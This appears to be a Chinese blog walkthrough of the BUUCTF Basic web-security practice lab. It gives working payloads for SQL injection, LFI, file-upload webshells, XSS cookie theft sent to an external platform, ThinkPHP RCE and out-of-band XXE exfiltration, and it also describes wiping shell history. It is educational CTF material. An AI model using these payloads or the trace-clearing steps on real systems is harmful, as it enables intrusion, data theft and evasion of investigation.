当前位置: 首页 > news >正文

BUUCTF - Basic:从靶场入门到实战的Web安全漏洞全景解析

1. 从零开始:BUUCTF Basic靶场环境搭建

第一次接触BUUCTF Basic靶场时,我花了整整两小时才把环境跑通。这个在线靶场平台不需要本地部署,但有几个关键点需要注意:浏览器建议使用Chrome或Firefox的最新版本,因为某些题目涉及到前端漏洞利用时,旧版本浏览器可能会出现兼容性问题。实测发现,Edge浏览器在处理某些XSS题目时会出现意外拦截。

靶场地址通常以.node5.buuoj.cn结尾,每个题目会分配独立端口。比如某次练习中,我遇到的SSH题目端口是32245而非默认的22端口。这里有个小技巧:直接在浏览器地址栏输入ping 题目域名是行不通的,需要在命令行使用ping命令获取真实IP。Windows用户可能会遇到防火墙拦截,记得临时放行ICMP协议。

注意:遇到连接超时的情况,先检查网络是否开启了代理。我遇到过三次因为系统代理设置导致无法连接的情况,关闭后立即恢复正常。

2. SSH连接漏洞实战剖析

2.1 基础连接与信息收集

Linux Labs这道SSH题目看似简单,却暗藏玄机。题目给出的连接格式通常是:

ssh -p 端口号 用户名@IP地址

但实际操作时会发现两个坑点:首先,密码输入时不会显示字符(这是SSH的正常行为);其次,连接成功后flag文件往往不在当前目录。我建议先执行以下命令:

find / -name "*flag*" 2>/dev/null

这个命令会搜索全盘包含"flag"关键字的文件,2>/dev/null是为了过滤权限报错信息。有次我花了20分钟逐层查找,后来发现flag藏在/var/www/backup目录下。

2.2 权限提升与痕迹清理

在某个进阶题目中,我遇到获取flag后无法读取的情况。这时需要检查文件权限:

ls -l /path/to/flag

如果显示权限不足,可以尝试:

sudo -l # 查看当前用户能使用的特权命令

有次发现可以用sudo执行vim,于是通过:!cat /path/to/flag成功读取。完成后记得清除操作记录:

history -c && rm ~/.bash_history

3. 文件包含漏洞深度利用

3.1 基础LFI与路径遍历

BUU LFI COURSE这道题教会我,文件包含不单是简单的参数修改。当遇到类似代码时:

include($_GET['file'].".php");

传统方法是用../进行路径遍历,但要注意系统差异。Linux下可以用:

?file=../../../../etc/passwd

而Windows下则要尝试:

?file=..\..\..\windows\win.ini

有次我遇到过滤了../的情况,改用....//双重编码成功绕过。

3.2 PHP伪协议高级利用

更高级的玩法是使用PHP伪协议。当直接读取文件被拦截时,可以尝试:

?file=php://filter/convert.base64-encode/resource=index

这样会返回base64编码的源码,解码后可能发现数据库密码等敏感信息。我在某次比赛中用这个方法找到了后台登录入口。

4. SQL注入攻防全解析

4.1 手工注入七步法

BUU SQL COURSE这道题堪称经典。我的注入流程是这样的:

  1. 判断注入点:id=1 and 1=1正常,id=1 and 1=2报错 → 存在数字型注入
  2. 确定字段数:order by 4正常,order by 5报错 → 4个字段
  3. 查数据库名:
union select 1,database(),3,4
  1. 爆表名:
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
  1. 爆字段名:
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='admin'
  1. 取数据:
union select 1,username,password,4 from admin
  1. 登录后台获取flag

4.2 sqlmap自动化实战

手工注入虽然直观,但效率太低。sqlmap的使用其实很有讲究:

sqlmap -u "http://target.com/news.php?id=1" --batch --random-agent --level=3 --risk=3

关键参数说明:

  • --batch:自动选择默认选项
  • --random-agent:伪装浏览器UA
  • --level:检测级别(1-5)
  • --risk:风险等级(1-3)

有次遇到WAF拦截,加上--tamper=space2comment成功绕过。获取数据后记得使用--dump保存结果。

5. 文件上传漏洞组合拳

5.1 前端绕过与MIME欺骗

Upload-Labs-Linux的第一关教会我,前端验证形同虚设。虽然页面上限制上传.jpg文件,但用Burp拦截后修改两个地方:

Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/jpeg

保持Content-Type为image类型,同时修改filename为php后缀。这种手法在90%的基础题目中都有效。

5.2 文件包含组合利用

Buu Upload Course 1这道题特别有意思。上传的php文件被重命名为jpg,但配合文件包含漏洞依然可以执行。我的解决步骤:

  1. 上传包含以下代码的jpg文件:
<?php system($_GET['cmd']); ?>
  1. 通过包含漏洞执行命令:
?file=upload/xxx.jpg&cmd=cat /flag

这种组合拳在真实渗透测试中也非常常见。

6. XSS漏洞实战技巧

6.1 基础注入与绕过

BUU XSS COURSE 1这道题演示了存储型XSS的威力。当发现<script>标签被过滤时,可以尝试:

<img src=x onerror=alert(1)> <svg/onload=alert(1)>

在某个实际案例中,我甚至用以下payload绕过严格过滤:

<a href="javascript:alert`1`">click</a>

6.2 Cookie窃取实战

使用XSS平台窃取Cookie时要注意:

  1. 选择支持HTTPS的平台(如xssaq.com)
  2. 构造payload时要考虑字符限制:
<script>document.location='http://xss平台.com/?cookie='+document.cookie</script>
  1. 获取Cookie后要用Burp的Cookie Manager功能替换

7. 漏洞组合利用实战案例

7.1 ThinkPHP框架漏洞利用

AWD Test 1展示了框架漏洞的可怕之处。ThinkPHP 5.x的RCE漏洞利用步骤:

  1. 识别框架版本:通过报错信息或robots.txt
  2. 执行系统命令:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
  1. 查找flag文件:
...&vars[1][]=find / -name flag*
  1. 读取flag内容:
...&vars[1][]=cat /var/www/flag

7.2 XXE漏洞文件读取

XXE漏洞的利用往往需要多次尝试。在BUU XXE COURSE 1中,我最终使用的payload是:

<!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % dtd SYSTEM "http://攻击者服务器/evil.dtd"> %dtd; ]> <root>&send;</root>

配合远程服务器上的evil.dtd文件:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://攻击者服务器/?file=%file;'>"> %all;

8. CTF实战经验分享

在BUUCTF Basic靶场练习时,我总结出三个黄金法则:

  1. 永远先检查源码:按F12查看HTML注释和JS代码,有次我在注释里直接找到了后台地址
  2. 参数修改要彻底:不仅是URL参数,Header、Cookie、POST数据都可能存在漏洞
  3. 工具配合手工:先用自动化工具扫描,再手工验证,最后综合各种信息突破

遇到瓶颈时,不妨试试以下命令组合:

# 查找web目录 find /var/www -type f -name "*.php" # 检查运行服务 netstat -tulnp # 查看cron任务 crontab -l
http://www.jsqmd.com/news/641142/

相关文章:

  • ncmdump:三分钟解锁网易云音乐NCM格式,让音乐自由流动
  • 寒武纪mlu-270驱动在Docker环境下的高效部署指南
  • 量化数据新思路:利用券商QMT的xtquant库搭建个人免费数据源(避坑指南)
  • 像素剧本圣殿保姆级教学:如何用正则表达式批量清洗AI生成剧本格式
  • 通义千问1.5-1.8B-Chat-GPTQ-Int4环境部署:Anaconda创建独立Python运行环境
  • Mysql集群架构MHA应用实战
  • 七款阅读应用实测:翻页速度与笔记功能对比
  • StarUML最新版汉化与破解二合一教程:5分钟搞定永久使用
  • ComfyUI模型加载进阶:用Diffusion Model节点玩转LoRA混合与模型‘瘦身’技巧
  • 告别内存溢出:EasyExcel高性能导入导出实战指南
  • 2026江苏学历提升机构实力排行榜:翼程蝉联榜首,Top5深度测评 - 商业科技观察
  • 数据结构——顺序栈
  • Topit:重新定义Mac多任务效率的智能窗口置顶革命
  • 第二届“Parloo”CTF应急响应挑战赛实战复盘:从Webshell追踪到内网渗透
  • Git Submodule 深度避坑指南:从“能用”到“好用”的协作进阶
  • 基于Ubuntu 24.04与MariaDB构建Zabbix 7.0云服务器监控体系
  • 成都地区宝钢产无缝钢管(8163-20#;外径42-630mm)现货报价 - 四川盛世钢联营销中心
  • claude4
  • 别再乱选二极管了!BUCK/BOOST电路续流与整流二极管实战避坑指南
  • 3分钟上手Keyviz:让你的键盘操作像电影特效一样炫酷
  • Windows防火墙如何放行WSL2?手把手教你设置入站规则(含常见错误排查)
  • Cesium中高效集成天地图WMTS服务的实战指南
  • Axure中文界面安装指南:3步告别英文困扰,让原型设计更高效
  • 鲲鹏麒麟环境下MySQL5.7离线部署全流程解析
  • AIMP:轻量级音乐播放器解决音频播放与管理的常见问题
  • 告别网盘限速困扰:八大网盘直链下载助手完全指南
  • 告别复制粘贴!深入理解GD32F407的GPIO配置:推挽、开漏、复用AF到底怎么选?
  • AutoCAD字体管理终极指南:FontCenter免费插件完整解决方案
  • 为什么 Multi-Agent 是技术创业者的最大机会
  • STL体积计算器:3D打印模型体积与重量估算完整指南